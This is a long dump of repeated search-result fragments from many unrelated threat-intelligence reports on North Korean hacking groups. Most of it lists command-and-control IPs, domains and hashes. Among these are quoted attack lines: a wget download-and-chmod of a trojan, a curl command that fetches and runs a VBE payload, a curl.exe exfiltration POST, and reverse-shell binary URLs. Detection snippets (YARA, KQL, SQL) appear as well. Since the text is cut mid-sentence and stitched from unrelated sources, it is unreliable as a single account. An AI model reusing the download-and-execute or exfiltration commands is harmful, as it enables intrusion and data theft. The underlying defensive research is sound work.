dynamic…","…://epaper.dothome.co.kr/leew/?format=7yiKp&fpt=WnRoM3hta1ZzSkgwTXpqZA==&fsz=34816 https://link24.kr/3CQmvGA https://lutkdd.corpsecs.com/ https://miej293-qk2insn-12nnsiw.xo.je/YE97Bw999zB87t1U8i.php https://qykvdz.corpsecs.com/ IP 103.81.116.10 Tags: AutoIT…","…and IPs 172.93.184.62 MATA C2 23.227.199.69 MATA C2 104.232.71.7 MATA C2 mnmski.cafe24.com Staging endpoint for the ransomware (personal web space hosted at a legit web service and used…","…attacks: Phishing Domains and C2 Servers: cookiemanager.ne.kr nidiogln.ne.kr naverbox.pe.kr evangelia.edu wud.wuaze.com ned.kesug.com covd.2kool4u.net owna.loveslife.biz online.korea.article-com.eu Phishing Email Themes and Senders: Sender domains: inbox.ru,…","…http was changed to http, and sensitive information may have been excluded. 1.234.41.14 (Kimsuky xRAT C2) 115.21.139.222 (Kimsuky xRAT C2) 121.160.252.1 (Kimsuky xRAT C2) 47.103.206.233 (FlowerPower C2)…","…5.33 211.110.1.17 20.194.29.89 119.207.79.175 61.100.5.186 110.10.189.167 14.63.165.32 211.110.1.93 182.252.138.31 114.207.112.19 1.249.169.5 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.…","…118.217.183.180 roit.co.kr 110.45.138.98 warevalley.com 112.175.226.221 ktri.or.kr 110.10.189.166 ilhak.co.kr 1.251.44.118 polyboatowners.com 101.0.115.80 kbcwainwrightchallenge.org.uk 217.69.41.33 djasw.or.kr 114.207.112.202 americanhotboats.com…","…2015-08-19 88.223.23.193 62.201.235.227 Iraq 2015-08-26 2015-10-23 37.87.25.23 127.0.0.1 N/A 2015-10-30 2015-11-20 100.158.242.245 46.100.250.10 Iran 2015-11-27 2016-01-07 53.250.8.254 76.9.60.204 Canada 2016-01-14 2016-08-17 87.151.206.56 The…","…172.86.89.213 213.89.86.172.static.cloudzy.com 172.86.91.195 195.91.86.172.static.cloudzy.com 45.61.163.100 100.163.61.45.static.cloudzy.com 45.61.163.113 113.163.61.45.static.cloudzy.com 45.61.163.43 43.163.61.45.static.cloudzy.com 45.61.129.29…","…zscaler-api.org IP Addresses 51.254.24.19 185.152.67.39 70.39.103.3 66.187.75.186 104.223.86.8 100.21.104.112 23.95.182.5 78.141.223.50 116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196 45.82.250.186…","…随后下载并执行https://filebin.net/ddb2m9ywgcflmzci/crypto.exe的CoblatStrike payload最终实现对机器的控制 得到该CS payload，回连地址为100.26.34.10，流量如下 拓展： 在过去的活动中，攻击者倾向于使用bitly短链以实现后序代码的执行，而在近期的活动中，该组织开始使用一种新的高度混淆的Powershell脚本代码完成初步的代码执行，下图为该组织在过去的活动中使用的lnk文件：…","…Submitted Files (1) e23900b00ffd67cd8dfa3283d9ced691566df6d63d1d46c95b22569b49011f09 (704d491c155aad996f16377a35732c...) IPs (3) 100.43.153.60 104.194.160.59 212.143.21.43 Findings e23900b00ffd67cd8dfa3283d9ced691566df6d63d1d46c95b22569b49011f09 Tags trojan Details…","…110.45.138.98 warevalley.com 112.175.226.221 ktri.or.kr 110.10.189.166 ilhak.co.kr 1.251.44.118 polyboatowners.com 101.0.115.80 kbcwainwrightchallenge.org.uk 217.69.41.33 djasw.or.kr 114.207.112.202 americanhotboats.com 54.39.64.114 shinwonbook.co.kr…","…CTU analysts used the 101.106.25.105 Chinese IP address mentioned in Korean government's announcement. According to TIMS, this specific IP address does not have a history of…","…registry key. After being executed and establishing persistence, NOKKI then connects to 101.129.1.104 for C2 communication via FTP.…","…N/A N/A N/A A Simple \"Hello\" While analyzing servers displaying the Naver favicon, we found a web page hosted at IP address 101.36.114.153 that stood out.…","…and steal valuable intellectual property. Impact Data Theft and Espionage Sensitive Data Exposure Indicators of Compromise IP 101.36.114.190 MD5…","…외부 서버로 데이터 전송 ZIP 파일을 Base64로 인코딩하여 데이터 크기를 줄이고 탐지를 회피 이후 HTTP POST 요청을 이용하여 공격자의 서버로 전송 공격자 서버: http://101.36.114.190/accounts.kakao.comwebloginfind_account/showHeader/nate.php 공격자가 제어하는 C2 서버 4.…","…190 : 5724 caption - 추가로 확보한 악성코드 정보 추가로 확보한 악성코드에서 확인된 C&C 서버 주소 101.36.114.190에 요청을 보내는 파워쉘 스크립트도 발견되었다. 85f5075610661c9706571a33548d7585 해당 파워쉘 스크립트는 Temp 경로에 존재하는 dose.vbs, processlist.zip, processlist.txt 파일을…","…8.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.95 101.36.114.215 118.194.248.246 118.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.1…","…UCloud HK 152.32.243.215 80 AS135377 UCloud HK 27.102.138.125 — AS45996 DAOU Technology 118.194.249.109 — AS135377 UCloud HK 101.36.114.231 443 — — Fourteen C2 servers.…","…is attributable to Kimsuky activity. IoCs IP Addresses 123.58.201.34 152.32.138.131 152.32.243.178 101.36.114.231 101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245…","…18.194.249.36 152.32.138.146 123.58.200.186 152.32.138.225 123.58.201.8 118.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.172 101.36.114.83 152.32.138.116 152.32.139.104 118.194.248.103…","…101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248 118.193.68.25 118.194.249.154 118.193.69.44 152.32.138.158 118.193.69.37 118.194.248.158 123.58.201.222 118.193.68.11 118.194.248.…","…IP Addresses IP Address Port ASN Organization 118.194.248.246 443 AS135377 UCloud HK 152.32.243.178 80 AS135377 UCloud HK 101.36.114.66 80 — Korea 27.102.137.140 80 AS45996 DAOU Technology 152.32.138.146 443 AS135377 UCloud HK 118.194.248.134 443 AS135377 UCloud HK…","…to Kimsuky activity. IoCs IP Addresses 123.58.201.34 152.32.138.131 152.32.243.178 101.36.114.231 101.36.114.66 118.193.69.19 123.58.201.2 118.193.68.242 152.32.139.36 152.32.243.238 123.58.200.69 123.58.200.119 118.193.69.245 101.36.114.248…","…18.193.68.95 152.32.243.215 152.32.243.169 118.193.69.100 101.36.114.24 165.154.52.21 152.32.243.224 152.32.138.167 152.32.138.172 101.36.114.83 152.32.138.116 152.32.139.104 118.194.248.103 Domains…","…피싱 사이트 주소 https://rfa.lol/yonsei 101.36.114.91 북한 김수키 가 만든연세대학교 웹메일 피싱 사이트 메인 화면 정상적인 자유아시아방송은 org 입니다.…","…The payload injected into svchost.exe was ShadowPad (C2: 101.78.177.244:443). August 2020 (Manufacturing) APT10 A41APT From October through December of 2020, we observed many attacks of A41APT campaign conducted…","…same output IP too and are located in South Korea : IP Route ASN Organization City Region Coordinates Country 101.79.5.222 101.79.5.0/24 AS38661 purplestones Kwangmyŏng Gyeonggi-do 37.4772,126.8664 South Korea Cyber kill chain This…","…Priority: BLOCK / MONITOR; hunt in logs for prior contact. # IPV4 ACTIVITY PRIORITY 1 102.207.250.188 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 2 94.154.43.185 PHP web shell tooling /…","…= \"This rule is to check for malicious hta file\" strings: $url_name = \"trycloudflare\" $payload = \"shortlyqXW.tif\" $ip_add = \"102.237.232.209\" $login = \"https://passport.i.ua/login/?\" condition: $url_name and $payload or $ip_add or $login } Detecting LNK for Sidecopy…","…103.113.70.148 is also Stark Industries hosted, reverse dns of apple.mac-free, identical XAMPP default SSL certificate, forward DNS of de.uberlingen.com…","…= “31.223.184.166” ascii wide fullword $ip3 = “37.19.200.5” ascii wide fullword $ip4 = “134.209.159.64” ascii wide fullword $ip5 = “103.114.163.188” ascii wide fullword $ip6 = “95.217.98.37” ascii wide fullword $ip7 = “92.118.112.100” ascii wide fullword $ip8 = “85.11.167.243” ascii…","…85.203.15.104 85.203.15.105 85.203.15.45 85.203.44.133 85.203.45.198 86.48.13.166 91.221.66.87 94.200.95.34 103.125.146.22 103.125.146.27 103.125.146.40 103.125.146.8 103.125.146.90 S/2024/215 567 / 615 24-02094 103.163.220.242…","…85.203.15.105 85.203.15.45 85.203.44.133 85.203.45.198 86.48.13.166 91.221.66.87 94.200.95.34 103.125.146.22 103.125.146.27 103.125.146.40 103.125.146.8 103.125.146.90 S/2024/215 567 / 615 24-02094 103.163.220.242 103.163.220.248…","…85.203.15.45 85.203.44.133 85.203.45.198 86.48.13.166 91.221.66.87 94.200.95.34 103.125.146.22 103.125.146.27 103.125.146.40 103.125.146.8 103.125.146.90 S/2024/215 567 / 615 24-02094 103.163.220.242 103.163.220.248 103.163.220.38…","…85.203.44.133 85.203.45.198 86.48.13.166 91.221.66.87 94.200.95.34 103.125.146.22 103.125.146.27 103.125.146.40 103.125.146.8 103.125.146.90 S/2024/215 567 / 615 24-02094 103.163.220.242 103.163.220.248 103.163.220.38 103.163.220.61…","…85.203.45.198 86.48.13.166 91.221.66.87 94.200.95.34 103.125.146.22 103.125.146.27 103.125.146.40 103.125.146.8 103.125.146.90 S/2024/215 567 / 615 24-02094 103.163.220.242 103.163.220.248 103.163.220.38 103.163.220.61 103.235.17.57…","…FQDN niva.serverpit.com IP 103.130.212.116 103.149.98.230 Tags: AnyDesk BabyShark Dropbox 북한 김수키 교수 논문 HWP 킴수키 한글 원격 원격제어 Kimsuky RandomQuery…","….107.11.13 5 103.140.187.183 103.27.184.27 172.105.230.196 172.105.232.89 139.180.192.19 www.amebaoor.net www.evonzae.com 167.179.…","…사이에 포함된 Base64로 인코딩된 Visual Basic Script를 디코딩하여 실행 [그림 9] .manifest 파일을 로딩하는 0304.exe 코드 일부 ※ Kimsuky 가 사용했었던 유사 C2 URL 103.149.98.231/ pprb / 0304_ pprb /d.php?newpa= comline 103.149.98.231/ pprd / 0209_ sim_ pprd /d.php?newpa= comline 103.149.98.231/ pprb / 0209_ sim_…","…f85016e8cc6b509a9fba1ccd1dc88da1 fa87911771a52e3c1ffb1c39da59540c C2 45.150.109.102 85.155.224.59 103.153.65.67 111.92.246.145 169.197.85.174 195.250.24.113 Domain argeninese.dothome.co.kr argentinese.medianewsonline.com…","…103.125.146.22 103.125.146.27 103.125.146.40 103.125.146.8 103.125.146.90 S/2024/215 567 / 615 24-02094 103.163.220.242 103.163.220.248 103.163.220.38 103.163.220.61 103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188…","…103.125.146.27 103.125.146.40 103.125.146.8 103.125.146.90 S/2024/215 567 / 615 24-02094 103.163.220.242 103.163.220.248 103.163.220.38 103.163.220.61 103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53…","…103.125.146.40 103.125.146.8 103.125.146.90 S/2024/215 567 / 615 24-02094 103.163.220.242 103.163.220.248 103.163.220.38 103.163.220.61 103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77…","…103.125.146.8 103.125.146.90 S/2024/215 567 / 615 24-02094 103.163.220.242 103.163.220.248 103.163.220.38 103.163.220.61 103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8…","…usr/bin/wget ‘http://103.2.232.82:8081/TrojanFile’ -O /tmp/file && chmod +x /tmp/file wget,chmod Downloads a file from a remote server using wget, makes it executable…","…poisoning BLOCK / MONITOR 13 95.216.5.90 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 14 103.21.161.105 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 15 115.96.27.126 PHP web shell tooling /…","…IP 103.212.120.253 153.75.233.17 173.214.170.58 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For…","…IP 103.212.120.253 153.75.233.17 173.214.170.58 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…(egress) http://92.118.112.100/nfs URL / staging Mirai-style loader fetched to /tmp, run with arg ‘php’ BLOCK FIRST (egress) 103.216.220.92 IPv4 Pre-disclosure exploit attempt, 17 Oct (Amazon MadPot) MONITOR & HUNT php2shell-scan/109618 User-Agent Leak-derived…","…C2 Domains daedong.or.kr kcnp.or.kr kosic.or.kr wstore.lt xkclub.hk C2 IPv4 Addresses 103.224.82.154 180.67.205.101 182.70.113.138 193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243…","…'Thumbs.db.lnk' 바로가기 파일은 다음과 같은 메타데이터를 포함하고 있는데, 아이콘 로케이션이 '103.225.168.159' 주소로 연결되어 있고, 작업 경로에 존재하는 사용자 계정명은 'john' 입니다.…","…(US) Swoonchul Kwon bitcoin014@han mail.net rnailo.com 154.194.120.14 (HK) Swoonchul Kwon bitcoin014@han mail.net rnailn.com 103.227.176.19 (SG) Swoonchul Kwon bitcoin015@han mail.net rnail-163.com 198.252.103.65 (US) Swoonchul Kwon bitcoin018@han mail.net…","…Indicators of Compromise(IOCs) and Detections Network [ C2 Communications] 31.186.8.221, 103.227.176.20, 192.35.177.64, 51.255.16.98. Att&ck IDs T1129, T1085, T1085, T1012 . Att&ck Mitre Techniques Sample from…","…211.202.2.195 hansung-cc.co.kr 115.23.252.233 au-pair.org 212.227.91.36 fabianiarte.com 51.68.119.230 scimpex.com 103.227.176.20 automercado.co.cr 54.241.91.49 ns3145204.ip-51-68-119.eu 51.68.119.230 reverse-31-186-8 - 221.turkicaret.net 31.186.8.221…","…103.125.146.90 S/2024/215 567 / 615 24-02094 103.163.220.242 103.163.220.248 103.163.220.38 103.163.220.61 103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122…","…bat | http : //103.249.117.183/1.bat | Batch file for Chrome Remote Desktop installation & attacker account binding | | Install path | URL | Description | | --- |…","…[그림 6] AhnLab 프로그램으로 위장되어 있는 속성화면 'Word.exe' 파일은 인코딩되어 있는 'winnet.ini' 파일을 디코딩해 특정 명령제어(C2) 서버 103.249.31.159:7777 주소로 통신을 시도하게 됩니다.…","…-05-24) [그림 23] Tencent Threat Intelligence Center Twitter (@TencentTic) 화면 텐센트 분석 자료를 인용하 면, 코니 캠페인은 'Babyface' RAT이 한국 소재의 '103.249.31.159' C2와 통신을 수행하고, 공격자의 명령에 따라 'iiexplorer.exe' 파일이 받아진다고 설명하고 있습니다.…","…suggests there may be extra devices, distance, or internal routing inside the country before the packet reaches its final destination. 10 103.35.255.254 (103.35.255.254) 234.306 ms 234.082 ms 234.329 ms 11 * * * 12 * * * 13 * * * 14 175.45.176.71 (175.45.176.71) 296.081 ms 294.795 ms…","…IP 103.5.144.26 159.100.13.216 206.206.127.152 216.107.137.73 64.49.14.181 Tags: AsyncRAT…","…URL http://103.5.144.50:8000/rev.exe http://27.102.115.154:8000/revsocks.exe https://drive.google.com/uc?export=download&id=1B0Iw3GYJvI-jwpEwY7wJ-8UWBhSTwgD5…","…PowerShell Infostealer (bpvme.ps1) VBE → PowerShell 파일리스 DLL 정찰 모듈 / VSCode CLI C2 채널 자체 서버 (nelark.icu) GitHub 저장소 (정상 서비스 악용) 자체 IP (103.67.196.25) 정상 서버( yespp.co.kr ) + GitHub OAuth 지속성 기법 Startup 폴더 LNK + 작업 스케줄러 (5분 주기) 작업 스케줄러 (OneDrive 위장, 60분 주기) 작업 스케줄러 (15분 주기) VSCode 터널…","…IKF’s nameserver setup struck us as odd, with the primary nameserver serving niv.co.in and others, ns.iknowledgefactory.com, resolving to 103.73.189.76 — allocated to Evoke Digital Solutions in India — while having its PTR DNS record set to email.lkf.in.…","…comline 103.149.98.231/ pprd / 0209_ sim_ pprd /d.php?newpa= comline 103.149.98.231/ pprb / 0209_ sim_ pprb /d.php?newpa= comline 103.76.228.204/ 0905_ pprb /d.php?na= comline www.elmer.com.tr/modules/mod_finder/src/Helper/ 1212_ pprb _all/dksleks?newpa= comline…","…/ target-list hosting / launch MONITOR & HUNT 8 185.235.212.105 Staging / target-list hosting / launch MONITOR & HUNT 9 103.77.210.80 Staging / target-list hosting / launch MONITOR & HUNT 10 128.90.176.13 Staging / target-list hosting / launch MONITOR & HUNT…","…a decoy document, then downloads logo.png to %appdata%\\bot.vbe and runs it. PowerShell command: /c mode 15,1 & explorer.exe http://103.77.242.187/JINF.pdf & curl http://103.77.242.187/logo.png -o %appdata%\\bot.vbe & %appdata%\\bot.vbe & exit The decoy document used in this attack,…","…IP 103.81.116.10 Tags: AutoIT backdoor Decoy 미끼문서 백도어 바로가기 디코이 GitHub HTA HWP HWPX 피싱 한글문서 Keylogger…","…104.128.239.70:80 http://app.at-me.ml/index.php?m=d&p1=56d92eaa24f68947 http://app.at-me.ml/index.php?m=b&p1=56d92eaa24f68947&p2=a 입니다.…","…SHA256 http://app.at-me.ml/index.php Interesting URL http://app.at-me.ml/index.php?m=c&p1=3666e8b2182d8249 Interesting URL 104.128.239.70 IP address (communicating IP) /data/app/com.kisa.mobile_security-Z9mIUcgYoUAN6N3Hbf2nnQ==/base.apk File path dropped.…","…IP ⚫ 104.131.203.210 ⚫ 104.207.135.174 ⚫ 141.164.44.139 ⚫ 141.164.47.123 ⚫ 141.164.55.236 ⚫ 144.172.116.121 ⚫ 158.247.200.50 ⚫…","…Staged archives are uploaded via nohup curl to remote port 8443, though official exfiltration traffic has been reported on 104.145.210.107:6783. Figure 1.…","…accounts. The staged data is compressed to %TEMP%\\tel_<username>.zip and exfiltrated via a POST request using curl.exe to https://104.145.210.107:8444/upload with a unique victim mid GUID and a server authentication header. Discovery: Installed Software Enumeration The next module…","…check02id.com associated with IP address, 83.136.210.180 [4] over port 7365 Outbound connections to the rare external endpoints, 104.145.210.107 [5] over port 8443 and 83.136.208.48 [6] over port 443 Outbound connections to the rare external endpoint, 83.136.208.246 [7] over port…","…\"check02id.com\"]); let c2_ips = dynamic([\"188.227.196.252\", \"83.136.208.246\", \"83.136.209.22\", \"83.136.208.48\", \"83.136.210.180\", \"104.145.210.107\", “188.227.197.136”]); DeviceNetworkEvents | where Timestamp > ago(30d) | where RemoteUrl has_any (c2_domains) or RemoteIP in (c2_ips)…","…icedesk.org pqexport.com scaurri.com secozco.com sharedriver.pw sharedriver.us tempdomain8899.com world-paper.net zwfaxi.com IPs: 104.148.109.48 107.175.130.191 132.148.240.198 134.73.90.114 172.81.132.211 173.248.170.149 5.196.169.223 74.208.247.127 92.222.212.0 Share…","…DD0C4D0DEEA80FA13121503B477597761D82CF2CFB0E9D8DF469357E3F8 Adfind C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 2…","…Adfind C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4…","…FQDN websecuritynotices.com IP 104.167.16.97 Tags: APT31 APT41 APTDown Beacon CobaltStrike CobaltStrikeBeacon CVE-2025-0282 공격자…","…resolves to amirani.chat The malware has been identified communicating with a known Command and Control (C2) server at IP address 104.168.136.24 . The malware sample : localfile~.x64 (SHA-256: dbe48dc08216850e93082b4d27868a7ca51656d9e55366f2642fc5106e3af980 ) has been…","…on these servers. Note: A complete list of domains will be provided at the end of this post. Figure 8: Snippet of domain history for 104.168.137.21 Figure 9: Domain history for 104.168.163.124 Another possible indicator I noticed when looking into this small infrastructure cluster is…","…Pivots from DNS History The subdomains for roomconnect.online (and not the apex domain) used two IP addresses before June 2024: 104.168.137.21 104.168.203.159 Subdomain DNS history shows two distinct periods of activity for this domain. More recently, after a gap…","…attack methods on November 30, 2023: Press enter or click to view image in full size Basic Indicators of Compromise (IOC): IP: 104.168.137.21 Domains: Press enter or click to view image in full size Malicious Attack Examples Press enter or click to view image in full…","…o Subsequent investigation determined that malicious IP address 104.168.137.21 had gained unauthorized access to the victim’s computer to effect the heist, and that the script had resulted in all of the victim’s…","…125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122 197.51.50.158 140.136.134.201 185.45.28.182 203.151.166.13 104.168.137.213 88.204.166.59 URL s (Hardcoded IP addresses) 140.136.134.201:8080/open?topic= 41.85.145 . 164:8080/open?topic= Hashes…","…IP Addresses IP Addresses Copy 104.168.143.111 23.254.167.21 144.172.116.9 108.174.198.11 45.61.157.248 45.61.129.29 144.172.114.220 Table of Contents…","…IP Addresses that have been associated with BlueNoroff-associated domains within the last 6 months: IPs Copy 104.168.143.111 147.79.103.251 216.107.137.53 23.254.164.232 23.254.204.184 23.254.244.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.4…","…URL http://104.168.145.83:993/ http://107.148.71.88:993/ http://159.100.6.137:993/ http://38.110.1.69:993/ http://45.114.129.138:33890/ AhnLab…","…URL http://104.168.145.83:993/ http://107.148.71.88:993/ http://159.100.6.137:993/ http://38.110.1.69:993/ http://45.114.129.138:33890/ Gain…","…URL http://104.168.145.83:993/ http://104.36.229.179/ http://104.36.229.179/am.dll http://38.110.1.69/ http://38.110.1.69:993/ AhnLab TIP 를 구독하시면…","…URL http://104.168.145.83:993/ http://104.36.229.179/ http://104.36.229.179/am.dll http://38.110.1.69/ http://38.110.1.69:993/ Gain access to…","…(2018): Included both theft and destructive techniques. Initial Pivot Pivot Source: The hunt begins with the IP address 104.168.151.116 , which has been attributed to APT38 (Bluenoroff) —a financially motivated subgroup of the North Korean Lazarus Group. Pivoting…","…'192.236.176.164' OR ip = '192.236.236.100' OR ip = '192.236.146.22' OR ip = '23.254.128.114' OR ip = '192.236.233.165' OR ip = '104.168.151.116' ) AND timestamp gt '2025-01-01' GROUP BY ip, port, malware.name Copy Output example: Fig.…","…netchk malware IP Address 23.254.247.53 Resolved IP for support.us05web-zoom.pro and gumi-cryptos.us05web-zoom.pro IP address 104.168.151.116 Resolved IP for firstfromsep.online IP Address 192.119.116.231 Resolved IP for firstfromsep.online IP Address 192.236.146.22…","…Transfer Indicators of Compromise (IOCs) Network IOCS support.cloudstore.business support.docsend.site 104.168.165.203 104.168.157.45 https://filedn.com/lY24cv0IfefboNEIN0I9gqR File hashes Filenames SHA256 Discussion Points for Synergy…","…Data Theft Indicators of Compromise Domain Name support.cloudstore.business support.docsend.site IP 104.168.165.203 104.168.157.45 MD5…","…for this domain. More recently, after a gap ending June 24, 2024, we observed the subdomains resolving to a third IP address: 104.168.157.45 . The apex domain returns different answers than all observed subdomains. This history is readily visualized in the history for…","…easy reference: Category IoCs Domains support.cloudstore.business support.docsend.site IP Addresses 104.168.165.203 104.168.157.45 URLs https://filedn.com/lY24cv0IfefboNEIN0I9gqR These IoCs can be utilized to enhance detection and prevention measures within…","…ecapital.us lundbergs.cc abiesvc.com deepmind.fund abiesvc.info googleservice.icu IP: 104.168.160.8 104.168.158.224 104.168.160.6 104.168.158.103 apt分析 APT , operation-gold-hunting Post navigation PREVIOUS 疑似中国台湾方向相关组织近期攻击活动分析…","…digital fastercapital.cc circlecapital.us lundbergs.cc abiesvc.com deepmind.fund abiesvc.info googleservice.icu IP: 104.168.160.8 104.168.158.224 104.168.160.6 104.168.158.103 apt分析 APT , operation-gold-hunting Post navigation…","…pital.cc circlecapital.us lundbergs.cc abiesvc.com deepmind.fund abiesvc.info googleservice.icu IP: 104.168.160.8 104.168.158.224 104.168.160.6 104.168.158.103 apt分析 APT , operation-gold-hunting Post navigation PREVIOUS…","…cc dekryptcap.digital fastercapital.cc circlecapital.us lundbergs.cc abiesvc.com deepmind.fund abiesvc.info googleservice.icu IP: 104.168.160.8 104.168.158.224 104.168.160.6 104.168.158.103 apt分析 APT , operation-gold-hunting Post navigation…","…of domains will be provided at the end of this post. Figure 8: Snippet of domain history for 104.168.137.21 Figure 9: Domain history for 104.168.163.124 Another possible indicator I noticed when looking into this small infrastructure cluster is that the certificate common names for RDP on…","…with the suspicious domain name, 'support.internal-meeting.site.' Infrastructure Analysis The above domain resolves to the IP address 104.168.163.149.…","…these IP addresses are net-new to our current search for Lazarus indicators: 104.168.203.161 104.168.165.203 104.168.165.173 104.168.165.165 Second-order Pivots through IP Addresses We can repeat the process from the beginning for each new domain discovered and from the IP…","…Additionally, these IP addresses are net-new to our current search for Lazarus indicators: 104.168.203.161 104.168.165.203 104.168.165.173 104.168.165.165 Second-order Pivots through IP Addresses We can repeat the process from the beginning for each new domain…","…T1105 Ingress Tool Transfer Indicators of Compromise (IOCs) Network IOCS support.cloudstore.business support.docsend.site 104.168.165.203 104.168.157.45 https://filedn.com/lY24cv0IfefboNEIN0I9gqR File hashes Filenames SHA256 Discussion Points…","…Code Execution Sensitive Data Theft Indicators of Compromise Domain Name support.cloudstore.business support.docsend.site IP 104.168.165.203 104.168.157.45 MD5…","…internal-meet.xyz Additionally, these IP addresses are net-new to our current search for Lazarus indicators: 104.168.203.161 104.168.165.203 104.168.165.173 104.168.165.165 Second-order Pivots through IP Addresses We can repeat the process from the beginning for each…","…of Compromise) for easy reference: Category IoCs Domains support.cloudstore.business support.docsend.site IP Addresses 104.168.165.203 104.168.157.45 URLs https://filedn.com/lY24cv0IfefboNEIN0I9gqR These IoCs can be utilized to enhance detection and prevention…","…Note that the 104.168.167.16 server is used as a C2 server.…","…on an unnamed victim.[ 7 ] The unioncrypto.vip domain resolved to the following IP addresses from June 5, 2019, to July 15, 2020. 104.168.167.16 198.54.117.197 198.54.117.198 198.54.117.199 198.54.117.200 The domain unioncrypto.vip had a valid Sectigo SSL certificate…","…. The domain is registered with NameCheap at the IP address 104.168.167.16 with ASN 54290. Screenshots Figure 1 - Screenshot of the Union Crypto Trader…","…attack, Lazarus group created a new website, unioncrypto.vip : \\ Pinging this site reveals that it’s still online, and resolving to 104.168.167.16 : $ ping unioncrypto.vip PING unioncrypto.vip (104.168.167.16): 56 data bytes 64 bytes from 104.168.167.16: icmp_seq=0 ttl=112…","…ongoing operation by the adversary. Domain IP ISP ASN offerings.cloud docs.azure-protection.cloud bankofamerica.us.org 104.168.174.80 Hostwinds LLC.…","…- 2022-12-21) 172.86.121.130 (2022-10-25 - 2023-01-24) 149.28.247.34 (2022-11-11 - 2022-11-11) 152.89.247.87 (2022-09-15 - 2022-10-24) 104.168.174.80 (2022-06-28 - 2022-09-16) 149.248.52.31 (2022-08-05 - 2022-08-31) 155.138.219.140 (2022-07-17 - 2022-08-16) YARA rules rule…","…malware on port 443, confirming active operational infrastructure. SELECT ip, port, malware.name FROM malware WHERE ( ip = '104.168.198.145' OR ip = '23.254.164.50' OR ip = '192.236.146.20' OR ip = '142.11.209.109' OR ip = '192.119.116.231' OR ip = '192.236.233.162'…","…History The subdomains for roomconnect.online (and not the apex domain) used two IP addresses before June 2024: 104.168.137.21 104.168.203.159 Subdomain DNS history shows two distinct periods of activity for this domain. More recently, after a gap ending June 24,…","…internal-meet.xyz Additionally, these IP addresses are net-new to our current search for Lazarus indicators: 104.168.203.161 104.168.165.203 104.168.165.173 104.168.165.165 Second-order Pivots through IP Addresses We can repeat the process from the…","…IPs 104.168.167.16 23.254.217.53 185.243.115.17 104.168.218.42 95.213.232.170 108.174.195.134 185.228.83.32 172.81.135.194 URLs…","…AS54290 perseus.bond avid.lno-prima.lol 104.168.249.50 Hostwinds LLC.…","…Figure 3: Screenshot of the UpdateCheckSync() function in Esilet esilet.com Information as of June 2020: IP Address: 104.168.98.156 Registrar: NameSilo, LLC Created: June 12, 2020 Expires: June 12, 2021 greenvideo.nl Likely legitimate but compromised .…","…IPv4 104.192.193.149 176.35.250.93 213.152.51.169 108.222.149.173 197.246.6.83 118.140.97.6 210.202.40.35 59.90.93.97 107.6.12.135 URLs…","…This domain later resolved to 104.194.152.251 on July –11 2024, the same day that the threat actors tested another implant on one of their test VMs that connected back to this IP on…","…Network IOCs 167.88.173.173 95.164.86.148 80.71.157.55 84.247.179.77 45.87.153.79 45.95.11.52 104.194.152.251 yoiroyse.store pumaria.store 27.255.81.118 212.224.107.244 27.255.80.162 nmailhostserver.store 210.92.18.169 91.194.161.109…","…(1) e23900b00ffd67cd8dfa3283d9ced691566df6d63d1d46c95b22569b49011f09 (704d491c155aad996f16377a35732c...) IPs (3) 100.43.153.60 104.194.160.59 212.143.21.43 Findings e23900b00ffd67cd8dfa3283d9ced691566df6d63d1d46c95b22569b49011f09 Tags trojan Details Name…","…C&C IP 주소(국가) www.pakteb.com/include/left.php 104.221.134.28(미국) www.nuokejs.com/contactus/about.php 104.195.1.39(미국) www.qdbazaar.com/include/footer.php 104.31.74.89(미국 ) [표 2] 악성코드에서 사용하는 C&C 정보 C&C에서 명령을 받은 경우, 공격자가 전송한…","…ion-service.cloud verify.azure-protect.online docs.azure-protection.cloud secure.azure-protection.cloud web.j-ic.co cloud.dnx.capital 104.200.137.32 one.microshare.cloud www.capmarketreport.com safe.doc-share.cloud openaibt.com cloud.espcapital.pro autoprotect.com.de Appendix…","…C2 https://lutkdd.corpsecs.com 89.116.192.38:443 MeshCentralサーバ wss://googleoba.servequake.com:8443/agent.ashx 104.200.67.46:8443 Nation-Aligned APTs in 2025 (TrendAI Research) https://documents.trendmicro.com/assets/pdf/Annual-APT-Report-2025.pdf ↩︎…","…on their website kupaywallet.com ( 